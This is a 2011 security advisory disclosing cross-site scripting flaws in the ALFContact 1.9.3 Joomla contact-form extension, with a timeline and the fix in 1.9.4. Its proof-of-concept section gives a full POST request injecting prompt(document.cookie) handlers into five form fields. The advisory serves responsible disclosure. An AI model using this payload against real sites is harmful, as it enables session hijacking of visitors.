Joomla ALFContact component version 1.9.3 suffers from a cross site scripting vulnerability.
a0f5b0e570e819c76a159a739660fa19d1b41c64bc922b15caaef77f5fc76a24
============================================================
FOREGROUND SECURITY, SECURITY ADVISORY 2011-003
- Original release date: Nomvember 9, 2011
- Discovered by: Jose Carlos de Arriba (Sr Security Analyst at Foreground Security)
- Contact: (jcarriba (at) foregroundsecurity (dot) com, dade (at) painsec (dot) com)
- Twitter: @jcarriba
- Severity: 4.3/10 (Base CVSS Score)
============================================================
I. VULNERABILITY
-------------------------
Joomla ALFContact 1.9.3 Extension Multiple Cross-Site Scripting (XSS) vulnerabilities - (prior versions have not been checked but could be vulnerable too).
II. BACKGROUND
-------------------------
ALFcontact is a small 'Contact Us' form.
The purpose of ALFcontact is to provide a contactform with enough features to make it usefull and appealing whithout making it overly complicated.
Basically the form gives you the option to send messages to different aliases based on your accesslevel, these aliases are defined in the administrator section, each with their own set of options.
Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets and a modelviewcontroller (MVC) Web application framework that can also be used independently.
III. DESCRIPTION
-------------------------
Joomla ALFContact 1.9.3 Extension presents multiple Cross-Site Scripting (XSS) vulnerabilities on the parameters email, emailto_id, extravalue, name and subject parameters in the contact web form page, due to an insufficient sanitization on user supplied data and encoding output.
A malicious user could perform session hijacking or phishing attacks.
IV. PROOF OF CONCEPT
-------------------------
POST /contact-us HTTP/1.1
Content-Length: 289
Content-Type: application/x-www-form-urlencoded
Cookie: XXXX
Host: www.example_tarjet.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Accept: */*
&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail
V. BUSINESS IMPACT
-------------------------
An attacker could perform session hijacking or phishing attacks.
VI. SYSTEMS AFFECTED
-------------------------
Joomla ALFContact 1.9.3 Extension (prior versions have not been checked but could be vulnerable too).
VII. SOLUTION
-------------------------
Fixed on 1.9.4 version
VIII. REFERENCES
-------------------------
http://www.alfsoft.com/
http://extensions.joomla.org/extensions/contacts-and-feedback/contact-forms/3818
http://www.foregroundsecurity.com/
http://www.painsec.com
IX. CREDITS
-------------------------
This vulnerability has been discovered by Jose Carlos de Arriba (jcarriba (at) foregroundsecurity (dot) com, dade (at) painsec (dot) com).
X. REVISION HISTORY
-------------------------
- November 9, 2011: Initial release.
XI. DISCLOSURE TIMELINE
-------------------------
November 1, 2011: Vulnerability discovered by Jose Carlos de Arriba.
November 2, 2011: ALFContact Author contacted by email.
November 2, 2011: Response from author and security advisory sent to him.
November 9, 2011: Vulnerability fixed on 1.9.4 version release
November 9, 2011: Security advisory released
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Jose Carlos de Arriba, CISSP
Senior Security Analyst
Foreground Security
www.foregroundsecurity.com
jcarriba (at) foregroundsecurity (dot) com